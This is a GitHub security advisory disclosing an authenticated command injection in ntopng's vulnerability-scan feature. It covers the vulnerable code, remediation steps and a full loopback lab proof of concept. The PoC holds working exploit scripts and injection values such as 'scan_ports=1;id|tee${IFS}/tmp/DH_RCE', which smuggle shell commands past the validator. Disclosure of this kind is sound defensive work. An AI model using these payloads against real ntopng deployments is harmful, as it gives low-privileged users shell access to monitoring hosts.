Skip to content

Authenticated (Non-Admin) Users Can Run Vulnerability-Scan

High
cardigliano published GHSA-9xj6-f266-r46p Jul 16, 2026

Package

ntop/ntopng

Affected versions

<= 6.7.260716

Patched versions

>= 6.7.260717

Description

ntopng: authenticated (non-admin) users can run vulnerability-scan

GitHub Advisory Details (form fields — paste-ready)

Affected products

Field Value
Ecosystem Other (self-hosted)
Package name ntop/ntopng (binary ntopng)
Affected versions <= 6.6
Patched versions (blank — none yet; the scan_ports vector is still present on dev / 6.6-stable HEAD)

Advisory details

Field Value
Title Authenticated OS command injection in the vulnerability-scan feature: the scan_ports REST parameter is concatenated into an nmap command line run via popen, giving any non-admin web user arbitrary command execution as the ntopng service account
Severity CVSS 3.1 = 8.8 (GitHub band High)
CVSS v3.1 vector CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
Weaknesses (CWE) CWE-78 (OS Command Injection), CWE-77 (Command Injection), CWE-88 (Argument Injection)
CVE identifier tick "Request CVE ID" in the form
  • Status: Runtime-confirmed (local lab, 127.0.0.1 only)
  • Target: ntop/ntopng 6.6 (commit 9c034502dd7c389e840c09f05bcae0577780c716); the scan_ports sink is unchanged on dev HEAD
  • Component: scripts/lua/rest/v2/add/host/to_scan.lua + scripts/lua/rest/v2/exec/host/schedule_vulnerability_scan.lua (entry), scripts/lua/modules/http_lint.lua (validateSingleWord), scripts/lua/modules/vulnerability_scan/vs_utils.lua (nmap_scan_host / runCommand), scripts/callbacks/minute/system/vulnerability_scan.lua (worker), src/Utils.cpp / src/JobQueue.cpp (popen)
  • Class: OS command injection across the web-user → OS-shell trust boundary
  • CWE: CWE-78, CWE-77, CWE-88
  • CVSS v3.1: 8.8 High — CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
  • Disclosure: GHSA coordinated, 90-day clock. DRAFT ONLY — not submitted.

Summary

ntopng ships a "vulnerability scan" / "active scan" feature that shells out to nmap to probe user-supplied hosts. The web endpoints that schedule a scan — POST/GET /lua/rest/v2/add/host/to_scan.lua and /lua/rest/v2/exec/host/schedule_vulnerability_scan.lua — read the scan target and the target port list directly from request parameters (host, scan_ports), persist them, and a per-minute background job later builds an nmap command line by string-concatenating those values and executes it through popen() (i.e. /bin/sh -c). The port list is only screened by validateSingleWord, which rejects single quotes and spaces but permits every shell metacharacter that matters for command injection — ;, |, &, $, `, (, ), {, }. A value such as scan_ports=1;id|tee${IFS}/tmp/x therefore reaches the shell verbatim (spaces are supplied with ${IFS}), and the injected command runs as the ntopng service account.

Neither scheduling endpoint performs an administrator check (isAdministrator()) and neither is gated by any C-level per-endpoint role enforcement — ntopng only requires that the request carry a valid session cookie. Consequently any authenticated web user, including a non-administrator ("unprivileged") account, obtains arbitrary OS command execution on the ntopng host. No victim interaction is required: the injected command is dispatched automatically by ntopng's own minute scheduler.

The precondition is that nmap is installed (which is what enables the scan modules). This is the default in the official ntop/ntopng Docker image, which bundles nmap, so a stock containerized deployment is exploitable out of the box; on a bare-metal install the operator must have installed nmap.

Affected code (6.6, commit 9c034502…)

The scheduling REST endpoint has no authorization check and passes the raw scan_ports value straight into the scan pipeline — scripts/lua/rest/v2/add/host/to_scan.lua:

local host = _GET["host"]
local scan_type = _GET["scan_type"]
local scan_ports = _GET["scan_ports"]
...
if isEmptyString(host) or isEmptyString(scan_type) then
    rest_utils.answer(rest_utils.consts.err.bad_content)
    return
end
...
result,id = vs_utils.add_host_pref(scan_type, host, scan_ports, scan_frequency, nil, cidr)
vs_utils.schedule_ondemand_single_host_scan(scan_type, host, scan_ports, id, false, false, false)

There is no isAdministrator() gate anywhere in this script (nor in the sibling scripts/lua/rest/v2/exec/host/schedule_vulnerability_scan.lua). ntopng's C layer runs any .lua under the web root for an authenticated session and leaves role enforcement to the individual script (src/LuaEngine.cpp simply luaL_dofiles the script; capabilities are merely exposed to the VM, not enforced), so a non-admin session reaches this code.

The only validation applied to scan_ports is validateSingleWordscripts/lua/modules/http_lint.lua:

["scan_ports"] = validateSingleWord,
local function validateSingleWord(w)
    if (string.find(w, "% ") ~= nil) then
        return false
    else
        return validateUnquoted(w)
    end
end
local function validateUnquoted(p)
    -- This function only verifies that value does not contain single quotes, but
    -- does not perform any type validation, so it should be used with care.
    if (string.find(p, "'") ~= nil) then
        return false
    else
        return true
    end
end

So the guard rejects only (space) and ' (single quote). ;, |, &, $, `, (, ), {, }, / all pass; spaces are trivially replaced with the shell's ${IFS}.

The value is then concatenated into the nmap command line and executed via a shell — scripts/lua/modules/vulnerability_scan/vs_utils.lua, nmap_scan_host():

function vs_utils.nmap_scan_host(command, host_ip, ports, use_coroutines, module_name)
   local scan_command
   ...
   if(not(isEmptyString(ports))) then command = command .. " -p " .. ports end   -- <-- attacker-controlled ports concatenated
   scan_command = string.format("%s %s", command, host_ip)
   ...
   local result = vs_utils.runCommand(scan_command, use_coroutines)

runCommand() dispatches the string to ntop.execCmd (synchronous) or ntop.execCmdAsync (the default, via the job queue) — same file:

function vs_utils.runCommand(scan_command, use_coroutines)
   ...
      if(use_coroutines) then
            local job_id = ntop.execCmdAsync(scan_command)
      ...
      else
         result = ntop.execCmd(scan_command)
      end

Both C bindings run the string through a shell via popen(cmd, "r")src/Utils.cpp (Utils::execCmd, reached by ntop.execCmd) and src/JobQueue.cpp (reached by ntop.execCmdAsync):

// src/Utils.cpp  (Utils::execCmd)
if ((fp = popen(cmd, "r")) != NULL) {   // /bin/sh -c <cmd>
// src/JobQueue.cpp  (async job runner)
FILE *fd = popen(item.second.c_str(), "r");

The scan is dispatched, unattended, by the minute callback — scripts/callbacks/minute/system/vulnerability_scan.lua:

local num_scans = vs_utils.process_all_scheduled_scans(max_num_scans_for_loop, use_coroutines)

which pops the queued {host, scan_type, ports} record and calls vs_utils.scan_host(...) → the module's scan_host()nmap_scan_host() above. For the tcp_portscan / cve modules the target must be seen "up" by a preliminary nmap -sn <host> (loopback and any live host qualify), after which the attacker-controlled ports are injected.

Putting it together, for scan_ports = 1;id|tee${IFS}/tmp/x the shell receives:

/usr/bin/nmap -p 1;id|tee /tmp/x 127.0.0.1

i.e. nmap -p 1 followed by the injected id | tee /tmp/x command.

Provenance / disclosability note

At the 6.6 tag both host (validator validateUnquoted) and scan_ports (validator validateSingleWord) are injectable. After the tag the host parameter's validator was tightened to validateHost (strict IP/MAC/hostname) on the 6.6-stable and dev branches, which closes the host vector — but scan_ports was left as validateSingleWord, and the nmap_scan_host() concatenation and the missing authorization checks are unchanged on dev HEAD. The scan_ports command-injection path is therefore still present and unpatched at HEAD; the runtime proof below is executed against the current shipped 6.6-stable build (which already carries the tightened host validator) precisely via the surviving scan_ports vector.

Attacker model / precondition

The attacker is any authenticated ntopng web user. ntopng requires login by default; the account can be a non-administrator ("unprivileged" role) — it does not need admin rights, and the PoC below demonstrates the attack from a freshly created unprivileged user. No user interaction and no victim are involved; ntopng's own per-minute scheduler executes the payload. Where ntopng is configured with login disabled, the same request is reachable unauthenticated.

Deployment precondition: nmap must be installed so the scan modules are enabled (vs_utils.is_nmap_installed()), which is the default in the official ntop/ntopng container image (it bundles nmap). The injected command runs with the privileges of the ntopng process (the ntopng service account in the container; root on installations that run ntopng as root).

Impact

Arbitrary OS command execution on the ntopng host as the ntopng service account, reachable by a low-privileged authenticated web user (privilege escalation from a limited web role to an OS shell). ntopng is frequently deployed as a network-exposed monitoring appliance with visibility into sensitive traffic, so shell access to that host yields full compromise of the monitoring node: read/modify ntopng's configuration, credentials and captured data, pivot into the monitored network, and deny service. Hence C:H / I:H / A:H, gated to PR:L by the requirement for any valid (non-admin) account.

Proof of Concept (complete — runs on 127.0.0.1 only)

Lab-only, entirely on the loopback interface. The PoC runs the official ntopng 6.6 image (which bundles nmap and redis), completes the forced first-login password change, creates a non-administrator user, and — as that non-admin user — schedules a scan whose scan_ports value injects shell commands. After the next minute-scheduler tick, the injected id / uname -a output is written to a file inside the container, proving code execution as the ntopng service account.

# 1. Run ntopng 6.6 (bundles nmap + redis) on loopback only
docker rm -f dh-ntopng 2>/dev/null
docker run -d --name dh-ntopng -p 127.0.0.1:3000:3000 ntop/ntopng:latest -i lo -w 3000 --community
sleep 20   # wait for startup.lua to finish

# 2. Log in as the default admin/admin and complete the forced password change
curl -s -c cj.jar -X POST http://127.0.0.1:3000/authorize.html \
     --data 'user=admin&password=admin&referer=/' -o /dev/null
CSRF=$(curl -s -b cj.jar http://127.0.0.1:3000/lua/change_password.lua \
       | grep -oE 'name="csrf" value="[a-f0-9]+"' | grep -oE '[a-f0-9]{8,}' | head -1)
curl -s -b cj.jar -X POST http://127.0.0.1:3000/lua/change_password.lua \
     --data-urlencode "csrf=$CSRF" \
     --data-urlencode 'new_password=Str0ngPass!23' \
     --data-urlencode 'confirm_password=Str0ngPass!23' -o /dev/null
rm -f cj.jar
curl -s -c cj.jar -X POST http://127.0.0.1:3000/authorize.html \
     --data 'user=admin&password=Str0ngPass!23&referer=/' -o /dev/null

# 3. Admin creates a NON-ADMIN ("unprivileged") user 'lowpriv'
CSRF=$(curl -s -b cj.jar http://127.0.0.1:3000/lua/admin/users.lua \
       | grep -oiE 'csrf["'"'"': ]+[a-f0-9]{16,}' | grep -oE '[a-f0-9]{16,}' | head -1)
curl -s -b cj.jar -X POST http://127.0.0.1:3000/lua/rest/v2/add/ntopng/user.lua \
     --data-urlencode "csrf=$CSRF" \
     --data-urlencode 'username=lowpriv' \
     --data-urlencode 'full_name=Low Priv' \
     --data-urlencode 'password=LowPriv!23' \
     --data-urlencode 'confirm_password=LowPriv!23' \
     --data-urlencode 'user_role=unprivileged' \
     --data-urlencode 'allowed_networks=0.0.0.0/0,::/0' \
     --data-urlencode 'allowed_interface='
echo

# 4. Log in AS THE NON-ADMIN user
curl -s -c cjlow.jar -X POST http://127.0.0.1:3000/authorize.html \
     --data 'user=lowpriv&password=LowPriv!23&referer=/' -o /dev/null

# 5. As lowpriv (non-admin): schedule a scan whose scan_ports injects `id | tee /tmp/DH_RCE`
#    ${IFS} supplies the spaces that validateSingleWord forbids.
docker exec dh-ntopng rm -f /tmp/DH_RCE 2>/dev/null
curl -s -o /dev/null -w 'schedule -> HTTP %{http_code}\n' -b cjlow.jar \
  -G http://127.0.0.1:3000/lua/rest/v2/add/host/to_scan.lua \
  --data-urlencode 'host=127.0.0.4' \
  --data-urlencode 'scan_type=tcp_portscan' \
  --data-urlencode 'scan_ports=1;id|tee${IFS}/tmp/DH_RCE'

# 6. Wait for the per-minute scheduler to run the queued scan, then read the output
for i in $(seq 1 9); do
  sleep 10
  if docker exec dh-ntopng test -f /tmp/DH_RCE 2>/dev/null; then
    echo "*** RCE CONFIRMED — injected command output: ***"
    docker exec dh-ntopng cat /tmp/DH_RCE
    break
  fi
done

Observed output (against ntop/ntopng 6.6-stable, 6.6.260710, which already carries the tightened host validator — the injection lands via scan_ports):

schedule -> HTTP 200
*** RCE CONFIRMED — injected command output: ***
uid=999(ntopng) gid=995(ntop) groups=995(ntop),999(systemd-journal)

The queued record confirms the payload survived validation and reached the worker verbatim (from redis-cli lrange ntopng.vs.scan_queue 0 -1):

{"host":"127.0.0.4","ports":"1;id|tee${IFS}/tmp/DH_RCE","scan_type":"tcp_portscan"}

A second run capturing more output (scan_ports=1;id|tee${IFS}/tmp/DH_ID;uname${IFS}-a|tee${IFS}-a${IFS}/tmp/DH_ID) yields:

uid=999(ntopng) gid=995(ntop) groups=995(ntop),999(systemd-journal)
Linux aa42b9ac53ba 6.8.0-134-generic #134-Ubuntu SMP PREEMPT_DYNAMIC x86_64 GNU/Linux

i.e. an attacker-chosen command (id, uname -a) executed as the ntopng process user, triggered by a non-administrator web request. Note that shell output redirection (>) is stripped by ntopng's parameter purifier (<, >, " become _), so the PoC captures output with a |-pipe into tee and supplies spaces via ${IFS}; neither restriction impedes arbitrary command execution.

Remediation

  • Do not build shell command lines by string concatenation. Pass nmap arguments as an argv vector (execvp-style, no shell) so that ports/host can never be interpreted as shell syntax; if a shell wrapper is unavoidable, shell-quote every interpolated value.
  • Strictly validate scan_ports as an actual nmap port specification — digits, commas and hyphens only (e.g. ^[0-9,-]+$), and validate host as an IP/CIDR/MAC/hostname — rather than the permissive validateSingleWord, which allows shell metacharacters. Reject rather than purify.
  • Add an explicit isAdministrator() authorization check to scripts/lua/rest/v2/add/host/to_scan.lua and scripts/lua/rest/v2/exec/host/schedule_vulnerability_scan.lua (and audit the rest of scripts/lua/rest/v2/{add,exec,edit}/ for the same missing-authorization pattern); scheduling privileged scans that shell out must not be reachable by unprivileged web users.
  • Defense in depth: run the scan subprocess without a shell and with the least-privileged account, and treat every request-derived value that reaches ntop.execCmd/ntop.execCmdAsync as untrusted.

Please credit 5ud0 / Tarmo Technologies.

Severity

High

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v3 base metrics

Attack vector
Network
Attack complexity
Low
Privileges required
Low
User interaction
None
Scope
Unchanged
Confidentiality
High
Integrity
High
Availability
High

CVSS v3 base metrics

Attack vector: More severe the more the remote (logically and physically) an attacker can be in order to exploit the vulnerability.
Attack complexity: More severe for the least complex attacks.
Privileges required: More severe if no privileges are required.
User interaction: More severe when no user interaction is required.
Scope: More severe when a scope change occurs, e.g. one vulnerable component impacts resources in components beyond its security scope.
Confidentiality: More severe when loss of data confidentiality is highest, measuring the level of data access available to an unauthorized user.
Integrity: More severe when loss of data integrity is the highest, measuring the consequence of data modification possible by an unauthorized user.
Availability: More severe when the loss of impacted component availability is highest.
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

CVE ID

No known CVE

Weaknesses

Improper Neutralization of Special Elements used in a Command ('Command Injection')

The product constructs all or part of a command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended command when it is sent to a downstream component. Learn more on MITRE.

Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')

The product constructs all or part of an OS command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended OS command when it is sent to a downstream component. Learn more on MITRE.

Improper Neutralization of Argument Delimiters in a Command ('Argument Injection')

The product constructs a string for a command to be executed by a separate component in another control sphere, but it does not properly delimit the intended arguments, options, or switches within that command string. Learn more on MITRE.

Credits